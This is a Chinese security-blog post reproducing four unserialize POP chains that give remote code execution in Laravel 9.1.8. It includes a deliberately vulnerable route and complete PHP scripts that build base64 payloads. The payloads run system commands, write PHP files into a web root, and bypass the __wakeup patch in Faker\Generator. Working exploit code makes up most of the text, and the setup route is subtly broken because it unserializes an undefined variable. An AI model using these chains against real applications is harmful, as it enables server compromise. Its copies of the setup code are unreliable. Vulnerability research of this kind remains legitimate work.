标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3106] 作者: 州官 发表于: [2022-05-24]
本文共 [188] 位读者顶过
前言刷推的时候, 刷到了有师傅发了Laravel 9.1.8的反序列化RCE链, 跟着漏洞描述自己复现了下. [出自:jiwo.org] 环境搭建直接下载官网Laravel 9.1.8的源码后composer install即可, 添加一个入口, 修改routes\web.php如下: <?php use Illuminate\Support\Facades\Route; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', function (\Illuminate\Http\Request $request) { $vuln = base64_decode($request->input("vuln")); unserialize($ser); return "H3rmesk1t"; });
或者直接使用打包好的漏洞环境: 下载地址. Laravel 9.1.8 POP Chain1漏洞描述Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php. 漏洞分析根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到这里的$this->events和$this->event均为可控的, 寻找可用的dispatch方法. 这里跟进src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 这里的$command和$this->queueResolver均是可控的. 跟进dispatchToQueue方法, $command和$this->queueResolver均是可控的, 不难看出可以利用该方法中的call_user_func方法来进行命令执行的利用. 现在需要解决的就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php中的类中变量来控制$connection, 从而达到命令执行的目的. POP Chain<?php namespace Illuminate\Contracts\Queue{ interface ShouldQueue {} } namespace Illuminate\Bus{ class Dispatcher{ protected $container; protected $pipeline; protected $pipes = []; protected $handlers = []; protected $queueResolver; function __construct() { $this->queueResolver = "system"; } } } namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Queue\ShouldQueue; class BroadcastEvent implements ShouldQueue { function __construct() {} } class PendingBroadcast{ protected $events; protected $event; function __construct() { $this->event = new BroadcastEvent(); $this->event->connection = "calc"; $this->events = new \Illuminate\Bus\Dispatcher(); } } } namespace { $pop = new \Illuminate\Broadcasting\PendingBroadcast(); echo base64_encode(serialize($pop)); }
Laravel 9.1.8 POP Chain2漏洞描述Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php. 漏洞分析根据漏洞信息的描述, 跟进src/Cookie/FileCookieJar.php中的__destruct方法, 可以看到这里会调用$this->save方法, 在save方法中, 存在file_put_contents方法来进行文件写入. 接着跟进src/Cookie/CookieJar.php中的shouldPersist方法, 看看写入的内容该如何构造. 寻找相应可用的getExpires方法和getDiscard方法, 跟进src/Cookie/SetCookie.php, $data可控, 写入文件内容可控. POP Chain<?php namespace GuzzleHttp\Cookie{ class SetCookie { private static $defaults = [ 'Name' => null, 'Value' => null, 'Domain' => null, 'Path' => '/', 'Max-Age' => null, 'Expires' => null, 'Secure' => false, 'Discard' => false, 'HttpOnly' => false ]; function __construct() { $this->data['Expires'] = '<?php phpinfo();?>'; $this->data['Discard'] = 0; } } class CookieJar{ private $cookies = []; private $strictMode; function __construct() { $this->cookies[] = new SetCookie(); } } class FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; function __construct() { parent::__construct(); $this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php"; $this->storeSessionCookies = true; } } } namespace{ $pop = new \GuzzleHttp\Cookie\FileCookieJar(); echo base64_encode(serialize($pop)); }
Laravel 9.1.8 POP Chain3漏洞描述Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Broadcasting\PendingBroadcast.php .(2) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/ 漏洞分析根据漏洞信息的描述, 该条链子主要是ByPass了src/Faker/Generator.php中的__wakeup方法. 这里先来看看inhann师傅提到了绕过思路, 在src/Faker/Generator.php中对之前的反序列化问题的修复方法是添加了一个__wakeup方法来将$this->formatters的值始终为null array. 来看看如下的demo: <?php class Vuln { public $demo1; public $demo2; public function __destruct() { $this->demo1 = "h3rmesk1t"; var_dump($this->demo2); } public function __wakeup() { $this->demo2 = 'd1no'; } } $ser = 'O:4:"Vuln":2:{s:5:"demo1";N;s:5:"demo2";R:2;}'; $unser = unserialize($ser); var_dump($unser->demo2); ?>
可以看到序列化数据s:5:"demo2";R:2;使得$this->demo2和$this->demo1指向的是同一个值, 即$this->demo2修改了, $this->demo1也相应地被修改了. 因此, 根据上面demo中的思路, 只需要找到一个对象$demo的一个属性$arg和src/Faker/Generator.php中的$this->formatters指向的是同一个值, 当src/Faker/Generator.php的__wakeup方法结束后, 在构造的反序列化链的__destruct方法运行之前, 对$demo进行赋值, 此时$this->formatters将不再为null array, 需要注意的是, 这里$demo的赋值需要是完全可控的. 针对上文提到的绕过思路, 需要寻找一些合适的__wakeup方法或者__destruct方法, 且最好存在如下类似的代码: $this->demo1 = $this->demo2; $this->demo1[$this->demo2] = $this->demo3;
例如Symfony\Component\Mime\Part\SMimePart.php中的__wakeup方法, 其$headers属性继承自其父类 AbstractPart, __wakeup方法当中使用反射给$headers赋值. namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Header\Headers; class SMimePart extends AbstractPart { public function __wakeup(): void { $r = new \ReflectionProperty(AbstractPart::class, 'headers'); $r->setAccessible(true); $r->setValue($this, $this->_headers); unset($this->_headers); } } namespace Symfony\Component\Mime\Header; class UnstructuredHeader extends AbstractHeader { private $value; public function setValue(string $value) { $this->value = $value; } }
根据该绕过思路即可对src/Faker/Generator.php中的__wakeup方法进行绕过. POP Chain<?php namespace Faker { class Generator { protected $providers = []; protected $formatters = []; function __construct() { $this->formatter = "dispatch"; $this->formatters = 9999; } } } namespace Illuminate\Broadcasting { class PendingBroadcast { public function __construct() { $this->event = "calc"; $this->events = new \Faker\Generator(); } } } namespace Symfony\Component\Mime\Part { abstract class AbstractPart { private $headers = null; } class SMimePart extends AbstractPart { protected $_headers; public $h3rmesk1t; function __construct() { $this->_headers = ["dispatch"=>"system"]; $this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast(); } } } namespace { $pop = new \Symfony\Component\Mime\Part\SMimePart(); $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop)); echo base64_encode(str_replace("i:9999","R:2",$ser)); }
Laravel 9.1.8 POP Chain4漏洞描述Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Routing\PendingResourceRegistration.php .(2) register in Illuminate\Routing\PendingResourceRegistration.php.(3) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/ 漏洞分析根据漏洞信息的描述, 该条链子依旧是ByPass了src/Faker/Generator.php中的__wakeup方法. 漏洞分析逻辑如上文所述. POP Chain<?php namespace Faker { class Generator { protected $providers = []; protected $formatters = []; function __construct() { $this->formatter = "register"; $this->formatters = 9999; } } } namespace Illuminate\Routing { class PendingResourceRegistration { protected $registrar; protected $name; protected $controller; protected $options = []; protected $registered = false; function __construct() { $this->registrar = new \Faker\Generator(); $this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php"; $this->controller = "<?php phpinfo();system('calc');?>"; $this->options = 8; } } } namespace Symfony\Component\Mime\Part { abstract class AbstractPart { private $headers = null; } class SMimePart extends AbstractPart { protected $_headers; public $h3rmesk1t; function __construct() { $this->_headers = ["register"=>"file_put_contents"]; $this->h3rmesk1t = new \Illuminate\Routing\PendingResourceRegistration(); } } } namespace { $pop = new \Symfony\Component\Mime\Part\SMimePart(); $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop)); echo base64_encode(str_replace("i:9999","R:2",$ser)); }
参考 |